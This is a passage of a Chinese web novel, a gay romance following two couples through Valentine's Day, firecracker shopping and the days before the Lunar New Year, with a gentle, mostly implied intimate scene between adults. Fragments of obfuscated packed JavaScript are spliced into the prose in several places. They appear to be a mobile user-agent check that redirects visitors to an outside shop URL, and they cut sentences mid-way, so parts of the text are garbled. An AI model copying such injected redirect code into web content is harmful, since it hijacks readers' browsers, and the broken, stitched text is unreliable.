周浩:“……” 吃完饭,林妈妈去洗碗,林爸爸回房间午休。林峰识趣地躲进卧室,门关得紧紧的。 客厅里只剩下林屿和周浩。 “林屿。”周浩小声说。 “嗯。” “你爸妈……真的没意见?” “没有。” “可是——” “周浩。”林屿看着他,“我妈喜欢你。” 周浩愣了一下。 “刚才吃饭的时候,”林屿说,“她一直在看你。” “那是因为给我夹菜——” “她给别人夹菜,是因为客气。”林屿打断他,“给你夹菜,是因为喜欢。” 周浩张了张嘴。 “而且,”林屿顿了顿,“她做的红烧肉,平时只有逢年过节才做。” 周浩愣住了。 “今天,”林屿说,“是特地为你做的。” 周浩眼眶又酸了。 他低下头,过了很久。 “……林屿。” “嗯。” “你家真好。” 林屿看着他。 “以后也是你家。” 周浩抬头。 林屿的眼睛很亮。 周浩忽然想亲他。 但他忍住了。丈母娘在厨房,不能乱来。 “林屿。”他小声说。 “嗯。” “下午……” “嗯?” “我们去游乐园吧。” 林屿看着他。 “好。” 下午两点,游乐园人山人海。 到处都是情侣,牵着手,搂着腰,捧着奶茶和棉花糖。 周浩买了两个冰淇淋,一个递给林屿。 林屿接过来,低头咬了一口。 周浩看着他。 林屿吃冰淇淋的样子很慢,小口小口地咬。嘴角沾了一点奶油,他自己没发现。 周浩伸手,帮他擦掉。 林屿愣了一下。 周浩把手收回来,舔了舔手指。 “甜吗?”他问。 林屿看着他。 “你尝尝。” 周浩凑过去,在他嘴角亲了一下。 亲完,退回来。 “嗯,甜的。” 林屿看着他。 “周浩。” “嗯?” “你越来越会了。” 周浩笑了,笑得很得意。 “跟你学的。” 两人走到旋转木马旁边,周浩忽然停住。 “林屿。” “嗯。” “你看那边。” 林屿顺着他的视线看过去—— 旋转木马旁边,两个人正站在那里。 高的那个穿着黑色大衣,手里拿着个粉色的棉花糖。矮的那个裹着白色羽绒服,正踮着脚去够那个棉花糖。 陆沉远和鹿炽。 周浩眼睛亮了。 “远哥!” 他拉着林屿跑过去。 陆沉远转头看见他们,有点意外。 “你们也来?” “嗯!”周浩点头,“情人节嘛!” 他说着,看向鹿炽。 鹿炽被看得有点不好意思,往陆沉远身后躲了躲。 周浩笑了。 “鹿炽,你躲什么,又不是没见过。” 鹿炽耳朵红了。 林屿在旁边看着,嘴角微微弯了一下。 “一起玩?”陆沉远问。 周浩看看林屿,又看看他。 “行啊!玩什么?” 最后他们选了碰碰车。 四个人开了四辆车,在场地里撞来撞去。周浩疯了一样追着陆沉远撞,陆沉远灵活地躲开,反手把他撞到墙上。 鹿炽不会玩,小心翼翼地开。林屿就在他旁边,慢慢跟着,偶尔挡一下冲过来的车。 十分钟下来,周浩笑得脸都红了。 “太爽了!”他跳下车,“远哥你也太狠了!” 陆沉远看了他一眼。 “你撞我三次。” “那、那不是玩嘛——” “我撞回来五次。” 周浩噎住了。 鹿炽在旁边笑出声。 周浩看着他,忽然说:“鹿炽,你笑什么?” 鹿炽抿住嘴。 “没、没什么……” “你笑起来好看。”周浩认真地说,“远哥你说是不是?” 陆沉远看向鹿炽。 鹿炽脸红了。 陆沉远看了他几秒。 “是。” 鹿炽把脸埋进围巾里。 林屿在旁边看着这一幕,默默牵起周浩的手。 “走了。” “去哪儿?” “下一个项目。” 周浩被他拉着走,还不忘回头喊:“远哥!下次再约!” 陆沉远点点头。 他看着周浩和林屿走远的背影,忽然说:“鹿炽。” “嗯?” “我们也走吧。” “去哪儿?” 陆沉远想了想。 “摩天轮。” 鹿炽眼睛亮了。 “好!” 傍晚五点,林屿和周浩回到家。 林妈妈出门买菜了,林爸爸去公园下棋,林峰被同学叫出去玩了。家里只有他们两个。 周浩站在客厅里,忽然有点紧张。 “林屿。” “嗯。” “那个……” 林屿看着他。 “什么?” 周浩张了张嘴,不知道怎么说。 林屿等了几秒。 然后他走过去,握住他的手。 “周浩。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271925|198139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯。” “今天早上的话,”他说,“算数吗?” 周浩愣了一下:“什么话?” “以后也是你家。” 周浩心跳漏了一拍。 “算、算数……” “那,”林屿看着他,“今晚留下来吗?” 周浩愣住了。 “林屿你——” “我妈说的。”林屿打断他,“她说,你第一次来,要留你住一晚。” 周浩张大嘴。 “她、她说的?” “嗯。” “她知道我们——” “知道。”林屿说,“她刚才发消息,说晚上不回来吃饭了。” 周浩:“……” 他站在原地,脑子一片空白。 林屿看着他。 “不愿意?” “不是!”周浩连忙说,“不是不愿意,就是……” 他顿了顿。 “林屿,那个……” “嗯?” “你家那个规矩……”周浩小声说,“可以那个……了吗?” 林屿看着他。 “可以。”他说,“父母同意了。” 周浩心跳加速。 “真的?” “真的。” 周浩看着他,眼眶有点酸。 “林屿。” “嗯。” “我……” 他没说完。 林屿凑过来,吻住他。 这个吻和以前那些不一样。不是试探,不是克制,是真正的、成年人的吻。 周浩闭上眼睛,手攀上他的肩。 不知过了多久,林屿松开他。 “周浩。”他声音有点哑。 “嗯……” “跟我来。” 他牵着他,走进卧室。 林屿的卧室不大,一张床,一个书桌,一个衣柜。书架上全是书,墙上贴着化学元素周期表。 周浩站在床边,手心都是汗。 “林屿。” “嗯。” “我紧张……” “我知道。”林屿看着他,“我也是。” “你紧张什么?” “怕你疼。”林屿说,“怕你不舒服。” 周浩愣了一下。 “你……” “第一次。”林屿说,“我也是第一次。” 周浩看着他。 林屿的眼睛很亮,里面有一点他从未见过的情绪。 周浩忽然不那么紧张了。 他伸手,抱住林屿。 “那我们一起。”他说,“一起学。” 林屿愣了一下。 然后他笑了。 “好。” 窗帘拉上了。 房间里光线很暗,只有床头灯亮着。 周浩躺在床上,心跳快得像打鼓。 林屿俯身,轻轻吻他。 从额头,到眉心,到鼻尖,到嘴唇。 每一个吻都很轻,像怕惊动什么。 “疼吗?”他问。 周浩摇头。 “痒……” 林屿又亲了一下。 “这里呢?” “……也痒。” 林屿笑了。 “你身上怎么这么多怕痒的地方?” 周浩脸红了。 “我、我也不知道……” 林屿没说话,继续吻他。 从锁骨,到胸口,到腰侧。 周浩咬着嘴唇,不让自己发出声音。 “可以出声。”林屿在他耳边说。 周浩摇头。 林屿看着他。 “那我帮你?” 周浩还没反应过来,林屿就低头吻住他的唇。 这个吻很深。 周浩闭上眼睛,手抓住他的背。 不知过了多久,林屿松开他。 “周浩。” “……嗯。” “你愿意吗?” 周浩看着他。 林屿的眼睛很亮,里面有期待,有紧张,有小心翼翼的不确定。 周浩伸手,捧住他的脸。 “我愿意。”他说,“林屿,我愿意。” 林屿看着他。 看了很久。 然后他低头,吻住他。 这一夜很长。 床头灯亮着,月光从窗帘缝隙漏进来。周浩的声音断断续续,有时是呜咽,有时是求饶,有时是林屿的名字。 林屿很慢。 每一下都会问他“疼吗”“可以吗”“舒服吗”。 周浩被问得又羞又急。 “林屿……” “嗯?” “你话好多……” 林屿顿了一下。 “嫌烦?” “不是……”周浩把脸埋进枕头里,“就是……” 他没说完。 林屿没让他说完。 后来周浩就不记得了。 他只记得林屿的呼吸,记得他握着他的手,记得他在他耳边说“我爱你”。 很轻,很认真。 周浩哭了。 不是疼,是别的什么。 林屿吻掉他的眼泪。 “怎么了?” “没什么……”周浩声音闷闷的,“就是……开心。” 林屿看着他。 “我也是。” 夜深了。 他们并排躺着,手还握在一起。 周浩看着天花板,忽然说:“林屿。” “嗯。” “我们以后每年都来游乐园吧。” “好。” “每年都一起过年。” “好。” “每年都过情人节。” 林屿偏头看他。 “好。” 周浩笑了。 他把脸埋进林屿肩窝,闭上眼睛。 “林屿。” “嗯。” “我爱你。” 林屿愣了一下。 然后他把他搂紧。 “……我也爱你。” 情人节的夜很长。 但他们有一辈子。 35. 爆竹声中一岁除 农历二十八,北京的天灰蒙蒙的,像蒙了一层薄纱。 陆知岩早上七点就醒了,不是因为有事,是兴奋的。 明天就是除夕了。 今年和往年不一样。往年他一个人,最多和陆沉远吃顿饭,看个春晚,然后各自回房间睡觉。今年他有鹿之言了。 他侧头看向身边。 鹿之言还在睡,呼吸平稳,睫毛安静地覆着。昨晚他值夜班,凌晨三点才回来,困得眼睛都睁不开,被陆知岩抱着洗了个澡,沾枕头就睡着了。 陆知岩没动。 他就这样看着鹿之言,看他的眉毛,他的鼻梁,他的嘴唇。 看了很久。 手机震了一下。 【弟】:今天去□□联和鞭炮。 【弟】:几点出发? 陆知岩单手回: 【哥】:十点吧,让他多睡会儿。 【弟】:好。 【哥】:鹿炽呢? 【弟】:也还在睡。 【哥】:行,十点见。 放下手机,陆知岩又看向鹿之言。 他的之言睡着的时候真乖。不躲他,不怼他,不说“随便”“知道了”。睫毛安静地覆着,嘴唇微微张开一点,看起来软软的。 陆知岩忍不住凑过去,在他额头上亲了一下。 鹿之言动了动,没醒。 陆知岩又亲了一下。 这次鹿之言睁开眼。 他的眼神还有点涣散,茫然地看着陆知岩。过了几秒,焦距慢慢聚拢。 “……几点了?” “八点。”陆知岩说,“还早,再睡会儿。” 鹿之言看着他。 “你亲我干嘛?” 陆知岩笑了。 “想亲。” 鹿之言没说话。 他闭上眼睛,转了个身,背对着陆知岩。 陆知岩从后面抱住他。 “之言。” “嗯。” “今天去□□联。” “嗯。” “还有鞭炮。” “嗯。” “你去不去?” 鹿之言沉默了几秒。 “……去。” 陆知岩笑了,把他抱得更紧。 “那再睡一小时。” 鹿之言没说话。 但他往他怀里靠了靠。 上午十点,世贸天阶地下停车场。 陆知岩停好车,鹿之言解开安全带。他今天穿了件黑色高领毛衣,外面套着深灰色大衣,围巾是陆知岩那条——陆知岩非要他围的。 “之言。”陆知岩叫他。 鹿之言转头看他。 陆知岩凑过来,在他嘴角亲了一下。 “好了。” 鹿之言看着他,面无表情。 但耳尖红了。 陆沉远和鹿炽已经到了,站在电梯口等他们。鹿炽今天穿了件奶白色羽绒服,帽子边缘有一圈白毛毛,衬得他脸更小了。 “哥。”鹿炽看见鹿之言,眼睛亮了亮。 鹿之言点点头。 “□□联?” “嗯。”陆沉远说,“五楼。” 电梯上行,四个人挤在角落里。 陆知岩搂着鹿之言,陆沉远牵着鹿炽。 中间隔了大概三十厘米。 陆知岩低头,在鹿之言耳边说:“之言,等会儿买鞭炮。” 鹿之言没理他。 “买那种小摔炮。” 鹿之言还是没理他。 “还有仙女棒。” 鹿之言终于看他。 “你几岁了?” 陆知岩理直气壮:“过年嘛,谁规定只能小孩玩?” 鹿之言懒得理他。 但鹿炽在旁边听见了,眼睛亮了亮。 “仙女棒?”他小声问陆沉远。 陆沉远看着他亮晶晶的眼睛。 “买。” 鹿炽笑了。 电梯门开了,五楼到了。 春联摊还是那个老大爷支的,摆了满满一地。红底金字,红底黑字,洒金的,暗纹的,应有尽有。 陆知岩蹲下来,一张张翻。 “之言,你看这个——‘福满门庭’!” 鹿之言看了一眼。 “俗。” “那这个——‘春回大地’!” “普通。” “这个这个——‘岁岁平安’!” 鹿之言没说话,自己蹲下来挑。 他挑了三张,递给陆知岩。 “就这些。” 陆知岩接过来看。 第一张是“一年好景同春到,四季财源顺时来”。第二张是“福满人间春似海,喜盈门第乐如潮”。第三张是“岁通盛世家家福,春满人间处处歌”。 陆知岩看看对联,又看看鹿之言。 “你挑的?” “嗯。” “好看。”陆知岩说,“比我自己挑的好看。” 鹿之言没理他。 但嘴角微微弯了一下。 另一边,陆沉远也在挑。 他蹲在那儿,一张张看得认真。鹿炽在旁边站着,看他挑。 “这个怎么样?”陆沉远举起一张。 鹿炽看了看。 “可以。” 陆沉远又举起一张。 “这个呢?” “也可以。” 陆沉远放下对联,抬头看他。 “你就没有什么意见?” 鹿炽愣了一下。 “我、我觉得都挺好的……” 陆沉远看着他。 鹿炽被他看得不自在,小声说:“你挑的我都喜欢。” 陆沉远愣了一下。 然后他低头,继续挑。 但嘴角压不住了。 最后他挑了三副对联,三张福字,一对窗花。 鹿炽接过来看了看。 “这个窗花好看。” “嗯。”陆沉远说,“像你。” 鹿炽愣了一下:“哪里像?” “两只小鸟。”陆沉远指着窗花,“挨在一起。” 鹿炽看着那对依偎着的小鸟,耳尖慢慢红了。 买完春联,四个人去鞭炮摊。 摊子很大,各种各样的鞭炮摆得满满当当。大挂鞭、小挂鞭、二踢脚、窜天猴、摔炮、划炮、仙女棒、烟花筒…… 陆知岩一到那儿就走不动了。 “之言,这个!”他拿起一盒摔炮,“小时候玩过吗?” 鹿之言看了一眼。 “玩过。” “那买点?” “随便。” 陆知岩立刻往袋子里装了两盒。 “还有这个!”他又拿起一盒划炮,“划一下扔出去那种!” 鹿之言没说话。 陆知岩又装了两盒。 “这个!”他拿起一把仙女棒,“晚上在阳台放,好看!” 鹿之言的嘴角动了动。 “……买吧。” 陆知岩喜滋滋地装了一大把。 另一边,陆沉远也在挑。 他挑了摔炮、划炮、仙女棒,还有几个小烟花筒。 “够吗?”他问鹿炽。 鹿炽看着袋子里的东西。 “太多了吧……” “过年嘛。”陆沉远说,“难得。” 鹿炽没再说话,但眼睛亮晶晶的。 买完鞭炮,陆知岩还不想走。 “之言,”他扯了扯鹿之言的袖子,“那边有卖小烟花的。” 鹿之言顺着他的视线看过去。 是一个小摊,卖那种手持的小烟花,点燃了会喷出金黄色的火花。 “过去看看?” 鹿之言看着他。 陆知岩的眼睛亮亮的,像个要糖吃的小孩。 鹿之言叹了口气。 “……走吧。” 小烟花摊前围了一圈小孩。陆知岩挤进去,挑了一大把。 “这个好看!”他举着一根给鹿之言看,“像不像那个?” “哪个?” “就那个……”陆知岩比划着,“你第一次亲我的时候,晚上,学校后门,路灯下面……” 鹿之言愣了一下。 “你记这个干嘛。” “都记得。”陆知岩说,“关于你的,都记得。” 鹿之言没说话。 但他的手,在袖子里轻轻攥紧了。 下午三点,他们回到陆知岩家。 春联买好了,鞭炮买好了,年货也买得差不多了。陆沉远和鹿炽把东西放下,坐了一会儿,就回自己那边了。 客厅里只剩下陆知岩和鹿之言。 “之言。”陆知岩叫他。 “嗯。” “下去放鞭炮?” 鹿之言看了眼窗外。 天还亮着。 “现在?” “现在人少。”陆知岩说,“晚上太吵。” 鹿之言想了想。 “……好。” 楼下有个小广场,平时老头老太太跳广场舞的地方。今天人不多,只有几个小孩在玩。 陆知岩蹲下来,把袋子打开。 “先玩什么?” 鹿之言看着他。 “你选。” 陆知岩想了想,拿出摔炮。 “这个。” 他拆开盒子,倒出一把,往地上摔了一颗。 “啪!” 声音不大,但很清脆。 陆知岩又摔了一颗。 “啪!” 他摔了一颗,又摔一颗,又摔一颗。 鹿之言在旁边看着。 陆知岩摔得起劲,忽然一颗摔炮掉在地上,弹了一下,滚到他脚边。 他愣了一下。 然后他往后退了一步。 “之言……” 鹿之言看着他。 陆知岩躲到他身后,抓着他的胳膊。 “那个……” 鹿之言低头看了一眼。 就是颗普通摔炮,动都没动。 “陆知岩。” “嗯?” “你怕这个?” 陆知岩没说话。 鹿之言看着他。 陆知岩的眼神有点躲闪。 “不怕。” “那你躲什么?” “没躲……” 鹿之言弯腰,把那颗摔炮捡起来,扔出去。 “啪!” 陆知岩在他身后,缩了一下。 鹿之言回头看他。 陆知岩立刻站直。 “我没怕。” 鹿之言看着他。 看了几秒。 然后他转身,往袋子里又拿出几盒摔炮。 “那这些都你放。” 陆知岩接过那几盒摔炮,表情有点僵。 “……好。” 鹿之言在旁边看着他。 陆知岩硬着头皮,一颗一颗摔。 每摔一颗,他都顿一下。摔完,松一口气。再拿一颗,再顿一下。 鹿之言看了一会儿。 然后他走过去,站在陆知岩身边。 “给我一点。” 陆知岩愣了一下。 鹿之言从他手里拿过几颗摔炮,一颗一颗摔出去。 “啪、啪、啪。” 他摔得很稳,动作干脆利落。 陆知岩看着他。 鹿之言摔完,转头看他。 “怕就承认。” 陆知岩张了张嘴。 “没怕……” 鹿之言没说话。 他拿起一颗摔炮,轻轻放在陆知岩手心。 “那你自己放。” 陆知岩低头看着手心里那颗小小的摔炮。 他深吸一口气。 往地上摔。 “啪!” 他松了一口气。 鹿之言看着他,嘴角微微弯了一下。 “还说不怕。” 陆知岩没说话。 他往鹿之言那边靠了靠。 鹿之言没躲。 陆知岩又靠了靠。 鹿之言的肩膀抵着他的肩膀。 陆知岩低头,把脸埋进他肩窝。 “之言。” “嗯。” “我小时候被摔炮炸过。” 鹿之言愣了一下。 “那年我七岁。”陆知岩声音闷闷的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你看什么?” “看你。”陆沉远说。 鹿炽脸红了。 “看烟花……” “看过了。”陆沉远说,“没你好看。” 鹿炽把脸埋进围巾里。 但嘴角压不住。 仙女棒燃尽,陆沉远又拿出几个小烟花筒。 “放这个?” 鹿炽点头。 陆沉远把烟花筒放在地上,点燃引线。 “滋——” 引线燃尽,烟花筒喷出金黄色的火花,越喷越高,像一棵金色的树。 鹿炽站在旁边,仰头看着。 火花照亮他的脸,眼睛亮亮的,像盛着星星。 陆沉远看着他。 火花灭了。 鹿炽转头看他。 “没了。” “嗯。”陆沉远说,“明年再放。” 鹿炽愣了一下。 “明年?” “每年。”陆沉远说,“每年都放。” 鹿炽看着他。 看了很久。 然后他凑过去,在陆沉远嘴角亲了一下。 陆沉远愣住了。 鹿炽退开,耳尖红红的。 “那说好了。” 陆沉远看着他。 “……说好了。” 傍晚六点,天快黑了。 四个人重新聚在陆知岩家楼下的小广场上。 “放完没?”陆知岩问。 “放完了。”陆沉远说,“你们呢?” “也放完了。” 陆知岩低头看了眼袋子——还剩几盒摔炮。 他顿了顿。 “之言。” “嗯。” “这个……” 鹿之言看了一眼那几盒摔炮。 他接过来,放进自己袋子里。 “我帮你放。” 陆知岩愣了一下。 “明年。”鹿之言说,“明年我陪你放。” 陆知岩看着他。 看了很久。 然后他笑了。 “好。” 陆沉远在旁边看着这一幕,默默牵起鹿炽的手。 “走吧。” “去哪儿?” “回家。” 鹿炽看着他。 “你家还是我家?” 陆沉远想了想。 “你家。” 鹿炽愣了一下。 “明天除夕。”陆沉远说,“你家过年热闹。” 鹿炽没说话。 但他握紧了陆沉远的手。 回到陆知岩家,天已经黑了。 鹿之言把买来的春联摊开,一张张看。 陆知岩从后面抱住他。 “之言。” “嗯。” “明天除夕。” “嗯。” “我们一起过。” 鹿之言的笔尖顿了一下。 “……嗯。” 陆知岩把脸埋进他肩窝。 “以后每年都一起过。” 鹿之言没说话。 但他往后靠了靠,靠进陆知岩怀里。 窗外,城市的灯火明明灭灭。 明天就是除夕了。 今年和往年不一样。 今年有人陪着过年了。 窗外远远传来零星的鞭炮声。 是小孩在玩剩下的摔炮。 陆知岩听着那声音,下意识往鹿之言那边靠了靠。 鹿之言感觉到了。 他反手握住陆知岩的手。 “别怕。” 陆知岩愣了一下。 然后他笑了。 “不怕。”他说,“有你在,什么都不怕。” 鹿之言没说话。 但他把陆知岩的手握得更紧了。 明天就是除夕了。 36. 依旧玩鞭炮…… 在今晚的回忆里,在明…… 农历二十八晚上,陆沉远躺在床上,盯着天花板。 睡不着。 隔壁房间传来轻微的响动——鹿炽也没睡。 下午买回来的那袋鞭炮就放在客厅茶几上。摔炮、划炮、仙女棒、小烟花筒,满满一大袋。 陆沉远翻了个身。 他想起下午放鞭炮时鹿炽的样子。举着仙女棒,眼睛亮晶晶的,火花映在他脸上,好看得过分。 他又翻了个身。 手机震了一下。 【炽】:睡不着? 陆沉远看着屏幕,嘴角弯了弯。 【远】:嗯。 【炽】:我也是。 【远】:在想什么? 那边沉默了几秒。 【炽】:鞭炮。 【远】:? 【炽】:想玩。 陆沉远愣了一下,然后笑了。 【远】:现在? 【炽】:嗯……会不会太晚? 【远】:楼下应该没人。 【炽】:那…… 【远】:十分钟后,楼下见。 发完这条,陆沉远坐起来,开始穿衣服。 隔壁房间传来窸窸窣窣的声音——鹿炽也在动。 五分钟后,两人轻手轻脚地出了门。 楼下的小花园黑漆漆的,只有路灯投下昏黄的光。白天跳广场舞的大爷大妈早回家了,小孩也睡了,安静得能听见风声。 鹿炽裹着那件奶白色羽绒服,帽子上的白毛毛在路灯下软乎乎的。他拎着那袋鞭炮,眼睛亮亮的。 “真的没人?” “嗯。”陆沉远看了看四周,“这会儿没人。” 鹿炽笑了。 他蹲下来,把袋子打开,像打开宝藏。 “先玩什么?” 陆沉远也蹲下来,和他一起翻。 “仙女棒?” 鹿炽摇头。 “下午玩过了。” “摔炮?” “也玩过了。” 陆沉远想了想,从袋子最下面翻出几盒划炮。 “这个呢?” 划炮是一根根小纸棍,头上有一□□。在盒子侧面划一下,扔出去,过几秒就会响。 鹿炽接过来看了看。 “没玩过这个。” “我教你。”陆沉远拿出一根,在盒子侧面一划—— “滋——” 火药燃起来,冒出细小的火花。陆沉远把它扔出去,过了两三秒—— “啪!” 声音不大,但在这安静的夜里格外清脆。 鹿炽眼睛亮了。 “我来我来!” 他拿出一根划炮,学陆沉远的样子在盒子侧面划。 划了一下,没着。 又划一下,还是没着。 再划一下—— “滋!” 鹿炽吓了一跳,手一抖,划炮掉在地上。 过了两秒。 “啪!” 鹿炽愣在那里,看着地上的小纸棍。 陆沉远在旁边看着,嘴角压不住。 “吓着了?” “没、没有……”鹿炽小声说,“就是有点突然。” 陆沉远笑了。 他又拿出一根划炮,示范给他看。 “要这样划。”他动作很慢,“用力一点,但别太使劲。” 他划了一下,火花冒出来。 “然后扔出去。”他轻轻一抛。 “啪!” 鹿炽认真地看着,点点头。 他又拿起一根。 这次他划得很稳。 “滋——” 火花冒出来的瞬间,他把它扔出去。 两秒后。 “啪!” 鹿炽转头看陆沉远,眼睛亮晶晶的。 “我成功了!” “嗯。”陆沉远看着他,“真厉害。” 鹿炽笑了,笑得很开心。 他拿起第二根,第三根,第四根。 “啪、啪、啪。” 小花园里响起零星的鞭炮声,在安静的夜里格外清晰。 划完一小盒,鹿炽意犹未尽。 “还有吗?” “有。”陆沉远又翻出一盒摔炮。 摔炮是一颗颗小圆球,往地上一摔就响。 “这个你下午玩过。” “嗯。”鹿炽接过来,“但没玩够。” 他倒出几颗,往地上一摔。 “啪!” 又摔一颗。 “啪!” 再摔一颗。 “啪!” 陆沉远在旁边看着。 鹿炽摔得起劲,一颗接一颗,根本停不下来。 摔完一盒,他又打开一盒。 “啪、啪、啪……” 小花园里的鞭炮声越来越密。 陆沉远看了他一会儿,忽然说:“鹿炽。” “嗯?”鹿炽手里还捏着一颗摔炮。 “过来一下。” 鹿炽走过去。 陆沉远伸手,把他帽子上的白毛毛理了理。 “沾了灰。” 鹿炽低头看了看,没看见。 “哪儿?” “这儿。”陆沉远指了指,“现在没了。” 鹿炽“哦”了一声,又想去拿摔炮。 陆沉远拉住他。 “休息会儿。” 鹿炽愣了一下。 “累了?” “不累……”鹿炽顿了顿,“就是想玩。” 陆沉远看着他。 鹿炽的眼睛亮晶晶的,脸上带着一点兴奋的红晕。羽绒服的帽子有点歪,白毛毛乱糟糟的,看起来像只玩疯了的小动物。 陆沉远看了几秒。 “那继续。”他说,“我陪你。” 鹿炽笑了。 他又蹲回袋子旁边,翻出几根仙女棒。 “这个也想玩。” “点。” 陆沉远拿出打火机,帮他把仙女棒点燃。 “滋啦——” 金黄色的火花喷出来,照亮了鹿炽的脸。 鹿炽举着那根仙女棒,仰头看着。 “好看。”他轻声说。 陆沉远看着他。 “嗯。” 鹿炽转过头,对上他的视线。 “你看什么?” “看你。” 鹿炽脸红了。 “看仙女棒……” “看过了。”陆沉远说,“没你好看。” 鹿炽把脸埋进围巾里。 但嘴角压不住。 仙女棒燃尽,鹿炽又拿起几根。 “再来!” 陆沉远帮他点燃。 一根接一根,小花园里亮起一簇簇金黄色的火花。 最后一根燃尽的时候,鹿炽忽然说:“陆沉远。” “嗯。” “你知道吗,”他轻声说,“这是我第一次玩这么多鞭炮。” 陆沉远愣了一下。 “以前没玩过?” “小时候玩过。”鹿炽说,“后来……就不玩了。” 他没说为什么。 但陆沉远知道。 后来那些事发生以后,鹿炽就不太出门了。过年的时候,别人家热热闹闹放鞭炮,他躲在房间里,捂着耳朵,假装听不见。 “那今天呢?”陆沉远问。 鹿炽想了想。 “今天……”他顿了顿,“很开心。” 他抬起头,看着陆沉远。 “特别开心。” 陆沉远看着他。 路灯的光从侧面照过来,在他脸上投下淡淡的阴影。他的眼睛很亮,里面映着陆沉远的影子。 陆沉远忽然伸手,把他拉进怀里。 鹿炽愣了一下。 “怎么了?” “没什么。”陆沉远把下巴抵在他发顶,“就是想抱你。” 鹿炽没说话。 他靠在陆沉远怀里,听着他的心跳。 过了很久。 “陆沉远。” “嗯。” “明年还能这样吗?” “能。” “后年呢?” “能。” “以后每年都能?” 陆沉远低头看他。 “每年都能。”他说,“我陪你。” 鹿炽看着他。 眼眶有点酸。 “……好。” 他小声说。 陆沉远低头,在他额头上亲了一下。 “那继续玩?” 鹿炽笑了。 “嗯!” 他又蹲回袋子旁边,翻出最后几样东西——几个小烟花筒。 “这个怎么放?” “放地上就行。”陆沉远走过来,“点着引线就跑。” 鹿炽拿着一个烟花筒,找了块空地放下。 他蹲在那儿,举着打火机,手有点抖。 “陆沉远……” “嗯?” “你陪我一起点。” 陆沉远走过去,在他旁边蹲下。 “好。” 他握住鹿炽的手,一起凑近引线。 “滋——” 引线燃起来。 “跑!”陆沉远拉着鹿炽站起来,往后退了几步。 几秒后,烟花筒喷出金黄色的火花。 越喷越高,像一棵金色的树。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆沉远看着他。 “还跑吗?” 鹿炽摇头。 陆沉远走过去,把他圈在角落里。 “那……”他低头,看着他的眼睛,“再亲一下?” 鹿炽看着他。 电梯里的灯光很亮,照得他睫毛一根根分明。 他慢慢点头。 陆沉远低头,吻住他。 电梯停了,门开了。 他们牵着手走出来。 回到房间,鹿炽换了睡衣,钻进被窝。 陆沉远躺在他旁边,伸手把他搂进怀里。 “睡吧。”他在他耳边说。 鹿炽“嗯”了一声,往他怀里靠了靠。 窗外远远传来零星的鞭炮声。 是别人家在放最后的摔炮。 鹿炽听着那声音,忽然笑了。 “陆沉远。” “嗯。” “以后每年都这样放鞭炮。” “好。” “从二十八放到十五。” “好。” “把一车都放完。” 陆沉远笑了。 “好。” 鹿炽闭上眼睛。 他想起今天晚上的事。仙女棒的火花,摔炮的脆响,划炮的滋啦声,烟花喷出来的金色小星星。 还有陆沉远看他时的眼神。 他往他怀里又靠了靠。 “陆沉远。” “嗯。” “我爱你。” 陆沉远愣了一下。 然后他把怀里的人抱得更紧。 “……我也爱你。” 远处偶尔传来几声鞭炮响。 那是别人家的热闹。 但他们也有他们的热闹。 在今晚的回忆里。 在明年的期待里。 在每一个有彼此的除夕里。 37. 屿浩·大鞭炮 农历二十八一大早,周浩就被电话吵醒了。 他迷迷糊糊摸过手机,屏幕上跳着“林屿”两个字。 “喂……”声音还带着睡意。 “起了吗?” “没……” “起了。”林屿说,“九点来接你。” 周浩愣了一下。 “接我?去哪儿?” “买鞭炮。” 周浩彻底清醒了。 他坐起来,抓了抓乱糟糟的头发。 “买鞭炮?不是买过了吗?” “那是小鞭炮。”林屿说,“玩的那种。” 周浩眨了眨眼。 “那今天买什么?” “大的。”林屿说,“过年放的,一卷一卷那种。” 周浩张了张嘴。 大的。 一卷一卷的。 他想起小时候过年,爸爸点那种大鞭炮,他躲在门后面捂着耳朵,又怕又想看。 “周浩?”林屿在电话那头叫他。 “在、在!” “九点。” “好!” 挂断电话,周浩看着手机屏幕发呆。 大的鞭炮。 林屿想和他一起放大的鞭炮。 这个认知让他心跳加速。 九点整,周浩准时出现在小区门口。 他今天穿了件深蓝色棉服,里面是白色卫衣,帽子上一圈毛。头发抓了两下,喷了发胶,闻起来一股橘子味。 林屿站在路边等他。 他穿了一件黑色长款羽绒服,围巾是周浩送的那条灰色羊绒的。手里拎着个帆布袋,里面不知道装的什么。 周浩跑过去。 “等很久了?” “刚到。”林屿看着他,“换发型了?” 周浩愣了一下:“你看出来了?” “嗯。”林屿说,“往右边分的。” 周浩心跳漏了一拍。 “你……你怎么每次都能看出来?” 林屿没说话。 他伸手,把周浩卫衣帽子上的毛捋了捋。 “走吧。” 周浩跟在他后面,嘴角压都压不住。 今天的目的地不是商场,是城外的一个批发市场。 林屿说那儿有专门卖鞭炮的店,一卷一卷的大鞭炮,各种尺寸都有。 打车过去要四十分钟。路上周浩一直看着窗外,眼睛亮亮的。 “林屿。” “嗯。” “你以前放过那种大鞭炮吗?” “放过。”林屿说,“小时候跟我爸。” “我也有!”周浩转过头,“我小时候也跟我爸放!他点,我躲在门后面看!” 林屿看着他。 “现在呢?” 周浩愣了一下。 “现在什么?” “现在还敢看吗?” 周浩想了想。 “敢……吧?”他有点不确定,“但是要离远点。” 林屿嘴角微微弯了一下。 “那等会儿你离远点。” “那你呢?” “我点。” 周浩看着他。 林屿的表情很平静,像在说今天天气不错。 周浩忽然觉得心跳有点快。 “林屿。” “嗯。” “你点的时候,我在旁边看着你。” 